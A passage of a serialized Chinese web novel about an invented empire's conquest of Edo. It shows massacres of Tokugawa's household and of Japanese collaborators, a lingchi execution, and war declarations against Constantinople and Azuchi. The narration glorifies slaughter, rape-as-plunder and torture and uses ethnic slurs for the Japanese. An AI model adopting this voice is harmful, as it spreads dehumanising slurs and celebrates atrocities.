“敌……敌袭!敌袭!” “是……是天朝的舰队!天朝的舰队,打过来了!” 在经历了长久的死一般的寂静和呆滞之后。 整个江户城才终于爆发出了一阵阵充满了无尽的,恐惧和绝望的凄厉尖叫! 所有还侥幸活着的倭国人都像是被吓破了胆的疯狗一样! 一个个丢盔弃甲,哭爹喊娘地向着城内疯狂地逃窜! 他们想不明白! 他们真的想不明白! 为什么?! 为什么那个在他们眼中一直都是礼仪之邦天朝上国! 竟然会在没有任何征兆的情况下对他们发动了如此残忍的,毁灭性的突然袭击?! 他们到底做错了什么?! “黑珍珠号”的甲板之上。 伊丽莎白和岳飞正并肩而立,面无表情地看着眼前这由他们亲手导演的人间惨剧。 “咯咯咯……” 许久,伊丽莎白才发出一阵充满了病态的,兴奋和快意的清脆笑声。 “岳将军,你看到了吗?” “那些平日里在我们面前耀武扬威,不可一世的倭国猴子们。” “现在像不像一群被吓破了胆的过街老鼠?” 第1213章 一个时辰之内 她的声音里充满了毫不掩饰的残忍和嗜血。 她喜欢这种感觉。 喜欢这种将敌人的生命和尊严,都牢牢地掌控在自己手中的无上的快感。 这让她感觉自己就像是一个真正的执掌着生杀大权的女王! 然而岳飞却是没有理会她。 他那张古铜色的刚毅脸庞之上,依旧是古井不波没有半分的怜悯和不忍。 因为他知道,战争本就是如此的残酷和无情。 对敌人的任何一丝心慈手软,都是对自己的将士们最大的不负责任! 他只是举着手中的望远镜,仔仔细细地观察着整个江户城的城防布局和兵力调动。 许久。 他才缓缓地放下了望远镜,声音冰冷地下达了第二道攻击命令。 “传我的令!” “所有战船停止炮击!” “神机营准备登陆!” “伊达政宗!” “小人在!” 那个一直恭恭敬敬地站在一旁的独眼龙连忙单膝跪地。 “你率领你麾下的五百名,对江户城地形最熟悉的武士作为先锋!” “为我神机营的将士们带路!” “目标!” 岳飞的手指重重地点在了,他面前那副江户城的地图之上,一个位于城市最中心的金碧辉煌的巨大城堡之上! “德川家康的天守阁!” “我要在一个时辰之内!” “将我们大乾的龙凤战旗,插在那座城堡的最高处!” “你能做到吗?!” “小人……遵命!” 伊达政宗的独眼之中,瞬间迸发出了骇人的疯狂的嗜血光芒! 他知道自己向新主子纳上第一份,也是最血腥的投名状的时候。 到了! 德川家康这位在倭国历史上以“隐忍”和“长寿”而著称的老乌龟,此刻正一脸阴沉地站在他那金碧辉煌的天守阁顶端,用一具来自于南蛮的单筒望远镜,面色凝重地看着远处那片已经化为火海的江户湾。 他的身后站着他麾下最得力的几名心腹大将,本多忠胜,井伊直政,酒井忠次,一个个也都是面如死灰,噤若寒蝉。 整个天守阁的气氛,压抑得几乎要让人窒息。 “父亲大人,”站在他身边的,是他的三子,也是他最看好的继承人,德川秀忠。 他看着自己父亲那阴沉得几乎要滴出水来的脸色,声音里带着一丝无法抑制的颤抖,“我们……我们现在该怎么办?” 怎么办? 德川家康的心中也是一片苦涩和茫然。 他做梦也想不到,自己苦心经营了数十年的江户城,这座被他视为自己德川家万世基业的东方第一坚城,竟然会在一夜之间就遭到了如此毁灭性的打击。 天朝的舰队? 他们不是一直都在和织田信长那个混蛋眉来眼去吗? 怎么会突然调转枪头来打自己了? 而且他们的火炮为什么会如此的恐怖?! 那种射程超过数里威力足以将一艘三千石的安宅船,瞬间轰成碎片的恐怖武器,根本就不是这个世界上应该存在的东西! 那简直就是神明的怒火! 是天罚! 在这如同天罚一般的降维打击面前,他那引以为傲的,数万江户守军,和他那自以为固若金汤的城防,都显得是那么的可笑和不堪一击。 “父亲大人!”德川秀忠看着自己父亲那久久不语的沉默,心中更是急得如同热锅上的蚂蚁,“我们不能再等了!再等下去那些天朝的魔鬼就要打进城里来了!” “我们……我们还是赶紧向织田信长大人求援吧!” “求援?”德川家康闻言,那张布满了皱纹的老脸之上,露出了一丝比哭还难看的苦涩笑容。 向织田信长求援? 那个巴不得自己早点死的枭雄? 他会发兵来救自己? 别开玩笑了! 他现在恐怕正在他的安土城里开香槟庆祝呢! 他只会眼睁睁地看着自己,和这支神秘而又强大的天朝舰队斗得两败俱伤,然后他再出来坐收渔翁之利! 这条路从一开始就是一条死路。 “那……那我们……我们就这么……坐以待毙吗?”德川秀忠的声音里充满了绝望。 “不。”德川家康缓缓地摇了摇头,那双原本已经因为年老而显得有些浑浊的眼睛里,在这一刻却突然迸发出了一股令人心悸的,如同毒蛇一般的阴冷光芒! “我们德川家还没有输。” “只要我德川家康还活着,只要我们德川家的血脉还在。” “那我们就永远都有东山再起的机会!” 他转过头看着自己那还一脸茫然的儿子,声音变得无比的冰冷和决绝。 “秀忠。” “孩儿在!” “你立刻带上你母亲,还有你所有的弟弟妹妹,以及我们德川家所有的金银财宝和传世家当。” “从天守阁的密道立刻出城!” “逃!” “逃得越远越好!” “永远都不要再回来!” “什么?!”德川秀忠闻言脸色猛地一变,“父亲大人!您……您这是什么意思?您不跟我们一起走吗?” “我不能走。”德川家康摇了摇头,那张苍老的脸上露出了一丝悲壮的坦然的笑容。 “我是德川家的家督,是这江户城的主人。” “城在我在。” “城亡我亡。” “这是我作为一名武士最后的也是唯一的尊严。” “父亲大人!”德川秀忠“噗通”一声跪倒在地泪流满面,“您不能这样!您走了我们德川家怎么办?我们……” “闭嘴!”德川家康却是猛地一巴掌狠狠地扇在了他的脸上! “哭哭啼啼成何体统?!” “你是我德川家康的儿子!是我德川家未来的希望!” “你要记住!” “一时的失败并不可怕。” “可怕的是失去了从头再来的勇气和决心!” “我今天就是要用我的死,来为你为我们整个德川家换取一个东山再起的机会!” “你必须活下去!” “带着我们德川家的血脉和财富活下去!” “然后你要像我一样隐忍等待!” “等到那些天朝的魔鬼和织田信长那个叛徒,斗得两败俱伤的时候!” “你再站出来!” “夺回本该属于我们德川家的一切!” “你听明白了吗?!” 德川家康的这番话如同一记记重锤,狠狠地敲在德川秀忠的心上。 他呆呆地看着自己这位在生命的最后一刻,依旧在为家族的未来殚精竭虑,算无遗策的父亲。 心中那点因为恐惧和懦弱而生出的悲伤,瞬间烟消云散。 取而代之的是一种前所未有的,刻骨的仇恨,和滔天的野心! “是!父亲大人!” 他重重地对着德川家康磕了三个响头。 然后毅然决然地从地上站了起来。 那张原本还带着一丝青涩和懦弱的脸上,在这一刻浮现出了一抹,与他父亲如出一辙的阴冷和隐忍。 “孩儿……遵命!” 第1214章 德川家康老贼的首级 …… 江户城的街道之上,早已是一片血与火的人间地狱。 由伊达政宗和他麾下那五百名对江户城地形了如指掌的“带路党”武士,所组成的先锋部队,如同一柄烧红的尖刀,狠狠地插进了这座已经彻底陷入混乱的城市心脏。 他们的身后是那一千名,身穿黑色制服手持着倭国人连见都没见过的最新式的燧发枪的,大乾神机营的将士! 这是一场彻头彻尾的降维打击! 也是一场毫无悬念的单方面的屠杀! 那些还在负隅顽抗的江户守军,和那些自以为是的武士们。 他们那引以为傲的武士刀,和那在他们看来已经是神兵利器的铁炮。 在神机营将士们手中那可以在一分钟之内连续射击五次以上,并且能在两百步之外轻易洞穿最厚重盔甲的恐怖燧发枪面前。 显得是那么的可笑和不堪一击! “砰!砰!砰!砰!砰!” 密集得如同爆豆一般的清脆枪声,响彻了整个江户城的上空。 一排排悍不畏死的倭国武士,还没冲到神机营将士们的面前。 便在那如同死神镰刀一般,精准而又致命的弹雨之中,成片成片地倒了下去! 他们的胸口无一例外地都出现了一个碗口大小的狰狞的血色窟窿! 鲜血和那破碎的内脏流了一地。 那场面比之前在江户湾的炮击还要更加的血腥和残忍! “魔……魔鬼!他们是魔鬼!” 所有还活着的倭国士兵,都被眼前这如同地狱恶鬼一般的恐怖军队,给彻底地吓破了胆! 他们崩溃了! 他们扔掉了手中的武器哭爹喊娘地四散而逃。 然而迎接他们的却是伊达政宗和他麾下那五百名,早已被仇恨和复仇的快感所彻底冲昏了头脑的疯狂武士们,那无情的屠刀! “杀!杀光这帮德川家的走狗!” “为将军大人报仇!” 伊达政宗的独眼之中闪烁着病态的,疯狂的嗜血光芒! 他挥舞着手中的武士刀,如同一个从地狱里爬出来的复仇恶鬼! 疯狂地收割着那些早已失去了所有抵抗意志的溃兵生命! 仅仅不到半个时辰。 整个江户城便被这支内外勾结的死亡联军,给彻底地血洗了一遍! 而岳飞和他麾下的神机营主力也终于兵不血刃地,一路杀到了那座象征着德川家最高权力的天守阁之下! “轰——” 一声巨响! 天守阁那用最坚固的百年铁木所打造的厚重城门,被一门十二磅的舰载加农炮给干脆利落地直接轰成了漫天的碎片! 岳飞面无表情地收起了那还在冒着袅袅青烟的燧发手枪。 然后他看了一眼身后那名早已经激动得浑身颤抖的独眼龙。 “伊达政宗。” “去吧。” “你复仇的时候。” “到了。” “多谢将军大人成全!” 他猛地从地上站了起来,然后对着身后那五百名同样是双眼血红,杀气腾腾的武士,发出了最后的,也是最疯狂的进攻命令。 “小的们!” “我们的新主子,天朝上国的将军大人,已经把这天守阁,赏给我们了!” “里面的金银财宝,绫罗绸缎,还有那些平日里高高在上的德川家的女人们,全都是我们的了!” “跟我冲!” “杀光德川家的每一个人!” “为我们死去的兄弟报仇!” “喔——!” 那五百名早已被仇恨和贪婪冲昏了头脑的倭国武士,在听到伊达政宗这番充满了煽动性的命令之后,一个个都像是打了鸡血的疯狗! 他们发出了一阵阵不似人声的疯狂咆哮,然后挥舞着手中那沾满了同胞鲜血的武士刀,如同一股黑色的死亡洪流,冲进了那洞开的天守阁大门。 岳飞面无表情地看着眼前这幅,倭人自相残杀的人间惨剧,那双古井不波的虎目之中,没有一丝一毫的波澜。 他知道,这就是人性。 也是战争,最真实,也最残酷的一面。 以倭制倭,这便是陛下和王爷交给他,此次东征的最高指导方针。 他要做的,就是用最小的代价,换取最大的胜利。 至于过程…… 那不重要。 “将军,”站在他身边的一名神机营千总,看着那已经彻底陷入了血腥狂欢的天守阁,声音里带着一丝不解,“我们……我们就这么看着吗?” “不然呢?”岳飞淡淡地反问道,“你想进去,跟他们一起抢女人,抢财宝吗?” “末将不敢!”那名千-总被岳飞那冰冷的目光,看得是浑身一哆嗦,连忙低下了头。 “既然不敢,那就给本将好好地守在这里。”岳飞的声音冰冷而又决绝,“传我的令,封锁天守阁的所有出口!任何一个,胆敢从里面冲出来的人,不管是我们的人,还是德川家的人,格杀勿论!” “是!” 那名千-总领命而去,心中却是对这位,年纪比他还小,但心思却比深渊还要难测的年轻主帅,充满了无尽的敬畏。 太狠了。 这位岳将军的心,实在是太狠了。 他这是要将伊达政宗和德川家康,这两拨倭国最顶尖的势力,给一锅端啊! 天守阁内的血腥屠杀,一直持续了整整半个时辰。 凄厉的惨叫声,兵器碰撞的交击声,和那临死前的绝望哀嚎,响彻了整个江户城的上空。 最终,当最后一声惨叫,也终于归于沉寂之后。 浑身浴血,如同一个从地狱里爬出来的杀神的伊达政宗,提着一颗还在滴着鲜血的,死不瞑目的苍老人头,从那天守阁里,一步一步地走了出来。 他“噗通”一声,跪倒在岳飞的面前,然后将那颗人头,高高地举过了头顶。 “将军大人!” “德川家康那老贼的首级,小人已经为您取来了!” “从今往后,这江户城,乃至整个东国,便都是天朝上国的囊中之物了!” 他的声音,因为过度的激动和疲惫,而变得沙哑不堪。但他那只仅剩的独眼中,却充满了,大仇得报的无尽的快意,和对眼前这位,赐予了他这一切的年轻主帅的,绝对的崇拜和臣服! 岳飞看着那颗,在倭国历史上,也算是一代枭雄的德川家康的首级,脸上却是没有半分的喜悦。 他只是淡淡地点了点头,然后看了一眼,伊达政宗身后那五百名,同样是浑身浴血,但人数却已经锐减了近一半的倭国武士。 “做得不错。”他用一种,不带任何感情的语气,评价道,“伤亡如何?” “回将军大人的话,”伊达政宗连忙回答道,“我军阵亡一百八十三人,重伤七十二人。德川家康麾下,三千亲卫武士,连同其所有家眷,共计四千余口,已尽数被我等,斩杀殆尽!无一活口!” “很好。”岳飞点了点头,然后他的目光,缓缓地落在了伊达政宗那张,充满了狂热和兴奋的丑陋脸上。 第1215章 你们是我大乾的兵 “伊达政宗,”他缓缓地开口,声音平静得,就像是在说一件,微不足道的小事,“你这次,立了大功。本将,会亲自向陛下和王爷,为你请功。” “多谢将军大人!”伊达政宗闻言,更是激动得,浑身都在发抖。 他知道,自己赌对了! 从今天起,他伊达政宗,就将是这倭国,新的王! 一个由天朝上国,亲自册封的,名正言顺的王! 然而,就在他,还沉浸在这即将登上权力巅峰的,无尽的狂喜之中时。 岳飞接下来的话,却像一盆,零下三十度的冰水,兜头盖脸地浇在了他的心上。 也浇在了所有还幸存着的,倭国武士的心上。 “不过,”岳飞的嘴角,缓缓地勾起了一抹,冰冷的,不带一丝温度的弧度,“功是功,过是过。” “你和你麾下的这些武士,虽然为我大乾,立下了大功。但你们,在城中所犯下的,那些烧杀抢掠,奸淫妇女的滔天罪行,也同样,罪无可赦!” “什……什么?!”伊达政宗闻言,猛地一愣。 他那只仅剩的独眼中,充满了难以置信的震惊和茫然。 “将……将军大人……您……您这是什么意思?” “小人……小人不懂……” “不懂?”岳飞冷笑了一声,“那本将,就让你死个明白。” 他猛地一挥手! “来人!” “将这些,胆敢在我大乾天兵面前,违抗军法,残害百姓的倭国乱匪!” “全都给本将!” “就地正法!” “一个不留!” 岳飞这道冰冷得不带一丝感情的命令,像一道九天之外的死亡神雷,瞬间劈在了伊达政宗和那三百余名幸存武士的天灵盖上! 他们全都傻了。 一个个呆若木鸡地站在原地,脸上写满了无法用言语来形容的震惊、茫然,以及那深入骨髓的,冰冷的恐惧! 就地正法? 一个不留?! 为什么?! 他们明明是功臣啊! 是他们,为天朝大军带的路! 是他们,为天朝大军攻下的江户城! 是他们,亲手斩下了德川家康那老贼的首级! 他们没有功劳,也有苦劳啊! 为什么到头来,等待着他们的,不是封赏,不是荣耀,而是……屠刀?! “将……将军大人!”伊达政宗第一个从巨大的震惊中反应了过来,他“噗通”一声重重地跪倒在地,那张丑陋的脸上,早已没了刚才的半点狂喜和得意,只剩下无尽的恐惧和不解。 “冤……冤枉啊!将军大人!我们冤枉啊!” “我们……我们杀的都是德川家的走狗!我们抢的也都是德川家的财宝!我们……我们这都是在为天朝上国效力啊!这……这何罪之有啊?!” 他想不明白,他真的想不明白! 自古以来,成王败寇,烧杀抢掠,这不都是战争中,再正常不过的事情吗? 为什么到了这位天朝将军的嘴里,就成了滔天大罪了? “何罪之有?”岳飞看着他那副还在垂死挣扎的滑稽模样,发出一声不屑的冷笑。 他缓缓地走到伊达政宗的面前,居高临下地看着他,那双古井不波的虎目之中,充满了毫不掩饰的鄙夷和杀意。 “伊达政宗,你到现在还不明白吗?” “从你们踏上这片土地,选择成为我大乾的‘带路党’的那一刻起,你们就不再是倭国人了。” “你们是我大乾的兵!” “既然是我大乾的兵,那就要守我大乾的军法!” “我大乾的军法第一条,也是最重要的一条,便是——” “凡无故扰民,欺压良善者,斩!” “凡临阵抗命,贪墨军功者,斩!” “凡奸淫掳掠,败坏军纪者,斩立决!” 岳飞的每一句话,都像一柄烧红的铁锤,狠狠地砸在伊达政宗的心上,也砸在所有幸存倭国武士的心上。 他们呆呆地听着,那张张写满了嗜血和贪婪的脸上,终于浮现出了一抹,名为“绝望”的死灰。 他们终于明白了。 他们从一开始,就错了。 他们以为自己是找到了一个可以让他们飞黄腾达,一步登天的新主子。 可他们做梦也想不到。 他们找到的,根本就不是什么救世主。 而是一个,比织田信长,比德川家康,还要可怕百倍,千倍的,来自东方的,绝世魔神! 他们在他眼中,根本就不是什么功臣。 他们只是一群,用完了就可以随时丢弃的,肮脏的,卑贱的,夜壶! “不……不要……” “将军大人饶命!我们……我们再也不敢了!” “求求您!再给我们一次机会吧!” 在死亡的巨大恐惧面前,这些前一刻还耀武扬威,不可一世的倭国武士们,终于彻底崩溃了。 他们一个个丢掉了手中的武器,哭爹喊娘地跪倒在地,拼命地磕着头,祈求着那最后的,也是最渺茫的一丝生机。 然而,岳飞那张古铜色的脸上,却是没有半分的动容。 他只是冷冷地看了一眼身后那些,早已将燧发枪的枪口,对准了他们的神机营将士。 “执行军法。” 他淡淡地吐出了四个字。 “砰!砰!砰!砰!砰!” 下一秒,密集得如同死神心跳一般的清脆枪声,骤然响起! 那三百余名,前一刻还做着封王拜相美梦的倭国武士,甚至连一声最后的惨叫都没来得及发出。 便在那如同钢铁风暴一般的,毁灭性的弹雨之中,被无情地撕成了碎片! 鲜血,染红了天守阁前的每一寸土地。 也为这场,刚刚开始的东征之战,画上了一个,最血腥,也最冷酷的句号。 甲板上,伊丽莎白透过高倍望远镜,将天守阁前所发生的一切,都看得清清楚楚。 她看着那个,下令屠杀自己刚刚才收服的“功臣”时,连眼睛都不眨一下的东方男人。 那张美艳的俏脸之上,第一次浮现出了一抹,发自灵魂深处的,深深的忌惮。 这个男人…… 好狠。 狠得让她这个,见惯了海上各种血腥和背叛的海盗女王,都感到一阵阵地心底发寒。 她原本还以为,自己已经够了解他了。 以为他只是一个,有些古板,有些纯情,但本质上却依旧是一个,值得信赖和依靠的,正人君子。 可现在她才发现,自己错得有多离谱。 这个男人,根本就不是什么正人君子。 他是一头,披着人皮的,冷静到冷酷,理智到无情的,战争机器! 他的心中,只有忠诚,只有军法,只有他所认定的,那个所谓的“大义”。 任何胆敢触犯他底线的人,不管你是谁,不管你有多大的功劳,他都会毫不犹豫地,将你,连同你的一切,都彻底地抹去! “咯咯咯……” 第1216章 周兴那个老财迷 然而,在短暂的忌惮之后,伊丽莎白那双蓝宝石般的眼眸之中,却又一次燃起了,更加炽热,也更加病态的,兴奋和占有欲! 她喜欢这样的男人! 强大!冷酷!充满了无法抗拒的征服欲! 这远比那些,只知道在她面前摇尾乞怜的软骨头们,要迷人得多! 她舔了舔自己那丰润的红唇,脸上露出了一抹,充满了挑战和玩味的邪魅笑容。 “岳飞……” “你这个,有趣得让人着迷的东方男人……” “你,迟早会是我的。” …… 长安,皇宫,工坊之内。 林臻依旧是躺在床上,昏迷不醒。 但他的脸色,却比之前要红润了许多。 呼吸,也变得平稳而又有力。 显然,经过张太医和一众御医们,这几日不分昼夜的精心调理,他那因为耗尽心神而严重亏损的身体,已经开始在慢慢地恢复了。 慕容嫣坐在他的床边,手里端着一碗,刚刚才熬好的,散发着浓郁药香的汤药。 她用那只小小的白玉汤匙,小心翼翼地舀起一勺,然后放到自己的唇边,轻轻地吹了吹。 确定温度合适之后,才缓缓地,送到了林臻的嘴边。 “夫君,该喝药了。” 她的声音,很轻,很柔。 充满了,人妻特有的温柔和缱绻。 这些天,她几乎是寸步不离地守在这里。 朝堂之上的所有政务,她都让人搬到了这个小小的工坊里来处理。 她亲自为他擦拭身体,亲自为他端茶喂药。 将一个妻子,所能做的一切,都做到了极致。 此刻的她,依旧穿着那身作为唯一寝衣的神凤降世裙。 只是这件曾经见证了她无数次,君临天下的霸气和杀伐决断的传奇之袍。 此刻却因为,日夜不休的操劳和担忧,而显得有些褶皱和黯淡。 那极致玄黑的苏锦底料,在工坊内那略显昏暗的烛光下,仿佛也染上了一丝化不开的忧愁。 那只用真金线绣成的擎天巨凤,更是收敛了所有的光芒,凤目低垂,安静地盘踞在她的身上,像一个忠实的守护者,默默地陪伴着它那心力交瘁的主人。 那长达五丈的墨金色苏锦拖尾,凌乱地堆叠在床边,与那凌乱的被褥和床单,纠缠在一起。 那华贵的凌乱之中,不再有任何的情欲和暧昧。 只剩下一种,相濡以沫,生死与共的,夫妻之间的深情和眷恋。 她就这么一勺一勺地,将那碗苦涩的汤药,慢慢地喂进了林臻的嘴里。 仿佛她喂的不是药。 而是她对他那,早已深入骨髓的,无尽的爱意和思念。 一碗汤药喂完,慕容嫣小心翼翼地放下药碗,又拿起一块温热的毛巾,轻轻擦拭着林臻的嘴角。 她的动作轻柔得仿佛在对待一件稀世珍宝,那双美丽的凤眸中,盛满了化不开的柔情和心疼。 “夫君,你都睡了这么久了,也该醒醒了。”她低声呢喃着,声音里带着一丝不易察觉的哽咽,“东边……伊丽莎白和岳飞已经打到江户了,说是进展顺利,那个叫德川的老狐狸切腹自尽了,他的儿子带着家眷财宝跑了。伊达政宗那个带路的,也被岳飞给就地正法了。” 她将这几日东征的战况,一点一点地讲给他听,仿佛他真的能听到一样。 “岳飞这孩子,真是越来越像你了,又狠又稳,下手干脆利落。伊丽莎t白那个妖女,倒是对他另眼相看,天天变着法儿地去招惹他,可惜岳飞是个榆木疙瘩,根本不解风情,气得那妖女天天在船上跳脚骂人,倒也算是一桩趣闻。” “西边呢……你更厉害了。”她的脸上,终于露出了一丝骄傲的笑容,“你醒来的消息,还有昆仑山大捷的军报,已经传遍了整个大乾。现在全天下的百姓,都把你当成了真正的神明来供奉。朝堂上那些老家伙们,也一个个都跟打了鸡血似的,嗷嗷叫着要跟你一起反攻君士坦丁堡。” “周兴那个老财迷,为了给你筹集军饷,都快把自己的家底给掏空了。他还说,等你凯旋归来,要给你立一座比太极殿还高的黄金雕像呢。” 她絮絮叨叨地说着,仿佛要把这些天来,所有发生的事情,都一股脑地告诉他。 她知道,他一定很想知道这些。 她也知道,只有这些,才能让他那不甘沉睡的灵魂,重新燃起斗志。 “所以,夫君……”她轻轻地握住他那只,虽然还有些冰冷,但却已经恢复了些许力量的大手,将它贴在自己那已经微微隆起的小腹上。 “你快醒过来,好不好?” “你摸摸看,我们的孩子,在跟你打招呼呢。” “他也在等你,等你醒过来,给他取一个,全世界最威风的名字。” 她的声音,哽咽得不成样子。 大颗大颗的泪珠,不受控制地从眼角滚落,滴在他那苍白的手背上,滚烫滚烫的。 就在这时。 那只一直被她握着的大手,突然,轻轻地,回握了一下。 慕容嫣的身体,猛地一僵! 她霍然抬头! 正对上了一双,虽然还带着一丝疲惫和虚弱,但却已经重新恢复了神采的,深邃眼眸! “嫣儿……” 林臻的声音,沙哑得厉害,却又充满了,让人心安的魔力。 “我们的孩子……” “是不是又让你……受累了?” 那一瞬间,慕容嫣嫣只觉得,自己那颗悬了十几天的心,终于,彻彻底底地落回了肚子里。 巨大的,难以言喻的狂喜,如同山崩海啸一般,瞬间将她整个人都彻底淹没! “夫君!” 她再也控制不住自己,猛地扑进他的怀里,放声大哭。 这一次,她的哭声里,不再有任何的恐惧和不安。 只有失而复得的,无尽的喜悦和幸福。 “你醒了……你终于醒了……” “我……我还以为……我……” 她哭得语无伦次,像一个终于找到了依靠的孩子。 “傻丫头。”林臻伸出那还些虚弱的手,轻轻地拍着她的后背,安抚着她那激动的情绪,“我这不是好好的吗?” “我答应过你的,要陪你君临天下,要看着我们的孩子长大。” “我林臻,什么时候,食过言?” 他这句充满了霸道和担当的话,让慕容嫣哭得更凶了。 却也笑得,更加的灿烂。 第1217章 林臻归来 林臻醒来的消息,像一阵春风,瞬间吹散了笼罩在整个大乾上空的,所有的阴霾。 整个帝国,都因为这位“军神”的苏醒,而重新焕发出了勃勃的生机和强大的自信! 而在经过了长达半个月的精心调养之后。 林臻的身体,也终于恢复了七七八八。 虽然内力还无法动用,但正常的行动和思考,已经完全没有问题了。 于是,在所有人都始料未及的情况下。 这位刚刚才从鬼门关里,走了一遭的摄政王殿下,便以一种更加强势,也更加疯狂的姿态,重新出现在了紫宸殿的朝堂之上! 他做的第一件事,便是将那名,被他生擒的,奥斯曼土耳其的“沙漠之狐”——穆罕默德亲王,给当着满朝文武的面,和那闻讯而来的,拜占庭帝国使者马可·波罗的面。 给活活地,凌迟处死了! 那场面,血腥到了极点! 也震撼到了极点! 穆罕默德亲王,这位在西方世界,也算是赫赫有名的王室贵胄,被整整割了三千六百刀,才在无尽的痛苦和绝望之中,咽下了最后一口气。 而林臻,自始至终,都只是面无表情地,坐在那高高的御阶之上,冷冷地看着。 他那双深邃的眼睛里,没有一丝一毫的波澜。 仿佛他看的不是一场,惨绝人寰的酷刑。 而是一场,平平无奇的,杀鸡表演。 当那名刽子手,将穆罕默德亲王那颗,已经血肉模糊,不成人形的头颅,高高举起时。 整个紫宸殿内,鸦雀无声。 所有官员,包括那位,自认为见惯了各种大场面的马可·波罗,都被林臻这狠辣无情,甚至可以说是残暴到了极点的铁血手腕,给彻彻底底地吓破了胆! 他们看着那个,坐在龙椅之侧,虽然脸色还有些苍白,但身上那股,君临天下,生杀予夺的恐怖气势,却比以往任何时候都更加强大的年轻王爷。 心中除了敬畏,便只剩下了恐惧。 他们知道,这位摄政王殿下,是在用这种最直接,也最血腥的方式,来向全世界宣告。 他,林臻,回来了! 而且是带着滔天的怒火和无尽的杀意回来的! “马可·波罗先生,”林臻缓缓地开口,声音不大,却又清晰地传遍了,大殿的每一个角落,“这,就是我们大乾,对待侵略者的态度。” “我们,不需要俘虏。” “我们需要的,只有,敌人的尸体,和他们那颗,写满了恐惧和悔恨的,头颅。” “现在,你可以回去告诉你们那位,伟大的君士坦丁十一世陛下了。” “就说,我大乾西征的二十万大军,不日即将开拔。” “让他,洗干净脖子,准备好足够多的黄金和美女。” “在君士坦丁堡,恭迎我大乾王师的,驾临!” 林臻这番充满了血腥、霸道和赤裸裸的战争宣言,让马可·波罗这位来自遥远西方的使者,听得是浑身发冷,头皮发麻。 他看着眼前这位,明明长着一张比阿波罗神还要英俊的脸,但行事风格却比地狱里的撒旦还要残忍和疯狂的东方王爷。 那双蓝色的眼眸之中,除了深深的恐惧,便再无其他。 他毫不怀疑。 如果他的皇帝陛下,胆敢有任何一丝一毫的怠慢和不敬。 那么眼前这个男人,绝对会毫不犹豫地,将他那二十万西征大军的兵锋,从奥斯曼土耳其,直接转向他们的君士坦丁堡! 然后,将他们那个,已经传承了上千年的古老帝国,从地图上,彻底地抹去! “是……是!尊敬的王爷殿下!” 马可·波罗再也不敢有任何的犹豫和迟疑,他“噗通”一声重重地跪倒在地,用一种充满了敬畏和恐惧的颤抖声音,高声地回答道: “小人……小人一定将您的话,一字不差地,转告给我们伟大的皇帝陛下!” “我以罗马神圣皇帝的名义向您保证!” “当您的大军,抵达君士坦丁堡时,我们一定会,用最隆重,也最谦卑的姿态,来迎接您的驾临!” “很好。”林臻满意地点了点头。 他知道,他今天这番,杀鸡儆猴的雷霆手段,已经成功地,震慑住了这个,来自于西方的“聪明人”。 也为他即将到来的西征之路,扫清了第一个,也是最不稳定的一个障碍。 “退下吧。”他淡淡地挥了挥手。 马可·波罗如蒙大赦,连滚带爬地,逃离了这座,让他感到无比窒息和恐惧的,东方宫殿。 他现在只想以最快的速度,离开这座充满了魔鬼的城市,回到他那遥远的故乡。 然后告诉他的皇帝陛下,和所有自以为是的西方人。 千万!千万!不要再轻易地,去招惹东方这头,已经彻底苏醒了的,远古巨龙! 否则,等待着他们的,就只有,毁灭! …… 处理完穆罕默德亲王,和那个来自于拜占庭帝国的使者。 林臻并没有就此停下他那疯狂的脚步。 他紧接着,便又当着满朝文武的面,宣布了一个,比之前任何一次都更加惊世骇俗,也更加令人热血沸腾的决定! “传本王的令!” 他的声音,洪亮如钟,充满了不容置疑的绝对威严! “即日起,兵分两路!” “西路军,由本王亲任统帅!率领三十万京营大军,以及漠北呼韩邪的二十万草原铁骑,共计五十万大军,即刻西征!目标,奥斯曼土耳其帝国首都——君士坦丁堡!” “东路军,则由皇后陛下,御驾亲征!率领大乾皇家海军提督伊丽莎白,副提督岳飞,以及三省水师五万将士,和那刚刚才从倭国招募来的,十万‘仆从军’,共计十五万大军,继续东征!目标,织田信长的老巢——安土城!” “本王要让全世界的人都看看!” “我大乾帝国,不仅有,冠绝天下的无敌陆军!” “更有,能纵横四海,所向披靡的,钢铁舰队!” “本王要让这颗星辰之上的,每一寸土地,每一片海洋,都飘扬起,我们大乾的,龙凤战旗!” “东西两线,同时开战!” “朕与王爷,兵分两路!” “不破敌国,誓不还朝!” 第1218章 杀到世界尽头 慕容嫣也缓缓地从那高高的凤椅之上站了起来,她的声音,清越而又充满了无尽的霸气,与林臻的宣言,遥相呼应,响彻了整个太极殿! “轰——” 这对传奇帝后,这番充满了无尽的疯狂,和滔天野心的,双线作战宣言。 像两颗足以毁灭整个太阳系的超级恒星! 瞬间在整个大乾的朝堂之上,轰然相撞! 然后爆发出了一股,前所未有的,足以让整个世界都为之颤抖的,恐怖的能量! 所有文武百官,在经历了长久的,死一般的寂静和呆滞之后。 全都彻底地疯狂了! 他们一个个像是被注入了最狂暴的兴奋剂的疯子! 面红耳赤声嘶力竭地,嘶吼着,咆哮着! “陛下圣明!王爷神武!” “东西两线,同时开战!扬我大乾天威!就在今日!” “犯我大乾者,虽远必诛!” “杀!杀!杀!杀到世界尽头!将我们大乾的龙旗,插遍四海八荒的每一个角落!” 那山呼海啸般的,充满了狂热崇拜和无尽战意的声音,直冲云霄! 震得整个长安城,都仿佛在微微颤抖! 他们知道,一个真正属于他们大乾的,波澜壮阔的,大征服时代。 在今天,在他们这对,举世无双的传奇帝后的共同引领之下。 正式拉开了它,血腥而又辉煌的,伟大序幕! 此刻的慕容嫣,依旧穿着那身,作为唯一寝衣的神凤降世裙,只是在外面,重新罩上了那件,象征着她女帝身份的,黑金色霞帔。 那极致玄黑的苏锦底料,在太极殿那充满了狂热战意的氛围之中,仿佛变成了一片,即将被鲜血和战火所彻底点燃的,燃烧的夜空! 那只用真金线绣成的擎天巨凤,更是仿佛要从那片燃烧的夜空之中,挣脱而出! 凤目之中,迸发出了前所未有的,充满了征服与毁灭的,万丈豪情! 仿佛已经看到了,自己随着它的主人,御驾亲征,踏平那东瀛小国,将那传说中的巨大银矿,尽数收入囊中的辉煌景象! 而她身旁,那个虽然脸色还有些苍白,但身上那股,睥睨天下,舍我其谁的无上霸气,却比以往任何时候都更加强大的男人。 他的身上,穿着一件与她的神凤降世裙,交相辉映的,同样是由那失传已久的“乌云踏雪”云锦,所打造而成的,墨色麒麟战袍! 那是慕容嫣嫣,在他昏迷的那段时间里,一针一线,亲手为他缝制的。 虽然针脚,还有些生涩和歪扭。 虽然那麒麟的图案,绣得,也远不如宫里那些顶级的绣娘们,那般的精致和威严。 但林臻却是爱不释手。 